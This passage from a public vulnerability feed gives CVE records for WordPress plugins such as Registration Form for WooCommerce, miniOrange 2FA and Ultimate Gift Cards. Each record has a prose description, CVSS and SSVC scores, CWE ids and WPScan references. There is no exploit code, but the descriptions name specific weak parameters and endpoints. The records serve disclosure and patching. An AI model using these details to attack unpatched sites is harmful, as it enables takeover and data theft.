"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-81431",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:10:03.394600Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-269",
"description": "CWE-269 Improper Privilege Management",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:11:21.791Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Registration Form for WooCommerce",
"vendor": "Unknown",
"versions": [
{
"lessThan": "1.1.3",
"status": "affected",
"version": "1.1.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Sai Praneeth Koti"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Registration Form for WooCommerce WordPress plugin before 1.1.3 does not validate that the form referenced during registration is a legitimate registration form, reading the permitted-role allow-list from an arbitrary attacker-controlled post instead. A user able to create a post (Contributor and above) can therefore register a new account with an arbitrary role, including Administrator, leading to full site takeover. This is an incomplete fix of CVE-2026-54807."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-269 Improper Privilege Management",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:06.575Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/e1255dd5-90d9-4ccf-9f84-3d1b41c5cba4/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Registration Form for WooCommerce 1.1.0 - 1.1.2 - Contributor+ Privilege Escalation via Unvalidated tgwcfb_id",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-81431",
"datePublished": "2026-09-10T06:00:06.575Z",
"dateReserved": "2026-08-26T19:16:18.415Z",
"dateUpdated": "2026-09-10T13:11:21.791Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-78361 (GCVE-0-2026-78361)
Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:11
VLAI
EPSS
VEX
Title
zipMoney(Zip Co) Payments Plugin for WooCommerce < 2.4.0 - Unauthenticated Arbitrary Option Deletion
Summary
The zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0 does not perform any authorisation checks on one of its front-end request handlers, and does not restrict which option name a caller may supply, allowing unauthenticated users to delete arbitrary WordPress options. This can be used to destroy site and access control configuration, deactivate every installed zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0, and take the site offline.
Severity
9.1 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:09 UTC
CWE
- CWE-862 Missing Authorization
- CWE-862 - Missing Authorization
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/8b9a00f5-d7f5-44… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | zipMoney(Zip Co) Payments Plugin for WooCommerce |
Affected:
0 , < 2.4.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-78361",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:09:05.946107Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-862",
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:11:35.705Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "zipMoney(Zip Co) Payments Plugin for WooCommerce",
"vendor": "Unknown",
"versions": [
{
"lessThan": "2.4.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Naoki Kawahigashi"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0 does not perform any authorisation checks on one of its front-end request handlers, and does not restrict which option name a caller may supply, allowing unauthenticated users to delete arbitrary WordPress options. This can be used to destroy site and access control configuration, deactivate every installed zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0, and take the site offline."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:06.399Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/8b9a00f5-d7f5-447d-b109-d15e2cde3885/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "zipMoney(Zip Co) Payments Plugin for WooCommerce \u003c 2.4.0 - Unauthenticated Arbitrary Option Deletion",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-78361",
"datePublished": "2026-09-10T06:00:06.399Z",
"dateReserved": "2026-08-24T11:38:28.753Z",
"dateUpdated": "2026-09-10T13:11:35.705Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-77771 (GCVE-0-2026-77771)
Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:11
VLAI
EPSS
VEX
Title
miniOrange 2FA (Free & Pro) - 2FA Bypass via Session-Scoped OTP Lockout
Summary
The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not scope its second-factor attempt limit to the account being attacked, keying it instead to an identifier the client supplies and can change at will, allowing an attacker who already knows a victim's password to make unlimited one-time-passcode guesses and defeat the second factor. A second validation endpoint applies no attempt limit at all.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:09 UTC
CWE
- CWE-287 Improper Authentication
- CWE-287 - Improper Authentication
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/e1e57673-18cb-41… | exploitvdb-entrytechnical-description |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | miniOrange 2FA |
Affected:
6.2.8 , < 6.3.1
(semver)
|
|
| Unknown | miniOrange 2FA |
Affected:
18.0 , < 19.3
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-77771",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:09:42.911838Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-287",
"description": "CWE-287 Improper Authentication",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:11:50.760Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "miniOrange 2FA",
"vendor": "Unknown",
"versions": [
{
"lessThan": "6.3.1",
"status": "affected",
"version": "6.2.8",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"product": "miniOrange 2FA",
"vendor": "Unknown",
"versions": [
{
"lessThan": "19.3",
"status": "affected",
"version": "18.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "pervinzahidli"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not scope its second-factor attempt limit to the account being attacked, keying it instead to an identifier the client supplies and can change at will, allowing an attacker who already knows a victim\u0027s password to make unlimited one-time-passcode guesses and defeat the second factor. A second validation endpoint applies no attempt limit at all."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-287 Improper Authentication",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:06.225Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/e1e57673-18cb-4157-9d58-547af7101b04/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "miniOrange 2FA (Free \u0026 Pro) - 2FA Bypass via Session-Scoped OTP Lockout",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-77771",
"datePublished": "2026-09-10T06:00:06.225Z",
"dateReserved": "2026-08-21T10:58:08.233Z",
"dateUpdated": "2026-09-10T13:11:50.760Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-77770 (GCVE-0-2026-77770)
Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:12
VLAI
EPSS
VEX
Title
miniOrange 2FA (Free & Pro) - Unauthenticated Arbitrary Option Deletion via Out-of-Band Email Link Validator
Summary
The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not require a validated transaction before deleting site options whose names come from unauthenticated request input, allowing any visitor to delete arbitrary options, which can lock every administrator out of the dashboard or deactivate every miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 on the site.
Severity
10 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:08 UTC
CWE
- CWE-862 Missing Authorization
- CWE-862 - Missing Authorization
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/68bc7294-1ee6-44… | exploitvdb-entrytechnical-description |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | miniOrange 2FA |
Affected:
5.3.24 , < 6.3.1
(semver)
|
|
| Unknown | miniOrange 2FA |
Affected:
18.0 , < 19.3
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 10,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-77770",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:08:43.647602Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-862",
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:12:06.700Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "miniOrange 2FA",
"vendor": "Unknown",
"versions": [
{
"lessThan": "6.3.1",
"status": "affected",
"version": "5.3.24",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"product": "miniOrange 2FA",
"vendor": "Unknown",
"versions": [
{
"lessThan": "19.3",
"status": "affected",
"version": "18.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Osman Hussein"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not require a validated transaction before deleting site options whose names come from unauthenticated request input, allowing any visitor to delete arbitrary options, which can lock every administrator out of the dashboard or deactivate every miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 on the site."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:06.054Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/68bc7294-1ee6-44a9-9995-3b23b921f750/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "miniOrange 2FA (Free \u0026 Pro) - Unauthenticated Arbitrary Option Deletion via Out-of-Band Email Link Validator",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-77770",
"datePublished": "2026-09-10T06:00:06.054Z",
"dateReserved": "2026-08-21T10:57:53.664Z",
"dateUpdated": "2026-09-10T13:12:06.700Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-19840 (GCVE-0-2026-19840)
Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:12
VLAI
EPSS
VEX
Title
Notiqoo < 1.4.14 - Contributor+ Arbitrary Option Update via Multiple AJAX Actions
Summary
The Notiqoo WordPress plugin before 1.4.14 does not have capability checks on several of its AJAX actions and builds the name of the option to write from user input, allowing users with a role as low as contributor to modify arbitrary WordPress options, which can be used to deactivate Notiqoo WordPress plugin before 1.4.14 and to lock every administrator out of the site.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:08 UTC
CWE
- CWE-863 Incorrect Authorization
- CWE-863 - Incorrect Authorization
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/030939ee-9aa9-40… | exploitvdb-entrytechnical-description |
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-19840",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:08:31.204840Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-863",
"description": "CWE-863 Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:12:21.573Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Notiqoo",
"vendor": "Unknown",
"versions": [
{
"lessThan": "1.4.14",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Seongwon Lee"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Notiqoo WordPress plugin before 1.4.14 does not have capability checks on several of its AJAX actions and builds the name of the option to write from user input, allowing users with a role as low as contributor to modify arbitrary WordPress options, which can be used to deactivate Notiqoo WordPress plugin before 1.4.14 and to lock every administrator out of the site."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-863 Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:05.869Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/030939ee-9aa9-4082-934e-c9a07fc3dfc3/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Notiqoo \u003c 1.4.14 - Contributor+ Arbitrary Option Update via Multiple AJAX Actions",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-19840",
"datePublished": "2026-09-10T06:00:05.869Z",
"dateReserved": "2026-08-14T07:56:48.561Z",
"dateUpdated": "2026-09-10T13:12:21.573Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-19439 (GCVE-0-2026-19439)
Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:12
VLAI
EPSS
VEX
Title
Ultimate Gift Cards for WooCommerce 3.0.3 - 3.2.9 - Unauthenticated Gift Card Code and Customer PII Disclosure via wps_uwgc_report_details
Summary
The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not have any authorisation check when displaying gift card details, allowing unauthenticated users to retrieve the gift cards attached to arbitrary orders and disclose customer personal data, balances, dates and, in 3.2.9, the live redemption code, which anyone holding it can spend.
Versions from 3.0.3 to 3.2.8 disclose the same data without the redemption code.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:08 UTC
CWE
- CWE-200 Information Exposure
- CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/daefdabe-2277-47… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | Ultimate Gift Cards for WooCommerce |
Affected:
3.0.3 , < 3.2.10
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-19439",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:08:20.470137Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200 Exposure of Sensitive Information to an Unauthorized Actor",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:12:35.999Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Ultimate Gift Cards for WooCommerce",
"vendor": "Unknown",
"versions": [
{
"lessThan": "3.2.10",
"status": "affected",
"version": "3.0.3",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Usama Arshad"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not have any authorisation check when displaying gift card details, allowing unauthenticated users to retrieve the gift cards attached to arbitrary orders and disclose customer personal data, balances, dates and, in 3.2.9, the live redemption code, which anyone holding it can spend.\n\nVersions from 3.0.3 to 3.2.8 disclose the same data without the redemption code."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-200 Information Exposure",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:05.700Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/daefdabe-2277-4753-9df5-581134540000/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Ultimate Gift Cards for WooCommerce 3.0.3 - 3.2.9 - Unauthenticated Gift Card Code and Customer PII Disclosure via wps_uwgc_report_details",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-19439",
"datePublished": "2026-09-10T06:00:05.700Z",
"dateReserved": "2026-08-10T13:02:17.334Z",
"dateUpdated": "2026-09-10T13:12:35.999Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-19436 (GCVE-0-2026-19436)
Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:12
VLAI
EPSS
VEX
Title
Ultimate Gift Cards For WooCommerce < 3.2.10 - Unauthenticated Gift Card Value Inflation via Discounted Purchase
Summary
The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not reconcile the value of the gift card coupon it issues against the amount actually collected at checkout, allowing unauthenticated users to obtain store credit worth more than they paid.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:08 UTC
CWE
- CWE-284 Improper Access Control
- CWE-284 - Improper Access Control
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/7c2f56f6-9c0a-4d… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | Ultimate Gift Cards for WooCommerce |
Affected:
0 , < 3.2.10
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-19436",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:08:05.462463Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-284",
"description": "CWE-284 Improper Access Control",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:12:50.628Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Ultimate Gift Cards for WooCommerce",
"vendor": "Unknown",
"versions": [
{
"lessThan": "3.2.10",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Guillermo \u00c1lvarez Fern\u00e1ndez"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not reconcile the value of the gift card coupon it issues against the amount actually collected at checkout, allowing unauthenticated users to obtain store credit worth more than they paid."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-284 Improper Access Control",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:05.523Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/7c2f56f6-9c0a-4de2-9cd2-9c25a25c3530/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Ultimate Gift Cards For WooCommerce \u003c 3.2.10 - Unauthenticated Gift Card Value Inflation via Discounted Purchase",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-19436",
"datePublished": "2026-09-10T06:00:05.523Z",
"dateReserved": "2026-08-10T12:44:06.866Z",
"dateUpdated": "2026-09-10T13:12:50.628Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-85117 (GCVE-0-2026-85117)
Vulnerability from cvelistv5 – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23
VLAI
EPSS
VEX
Title
Contact Form 7 Captcha 0.1.7 - 0.1.8 - Unauthenticated Arbitrary Shortcode Execution via Form Field Repopulation
Summary
The Contact Form 7 Captcha WordPress plugin before 0.1.9 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 15:22 UTC
CWE
- CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
- CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/e791e4a6-5ec1-49… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | Contact Form 7 Captcha |
Affected:
0.1.7 , < 0.1.9
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-85117",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-09T15:22:10.980997Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-74",
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
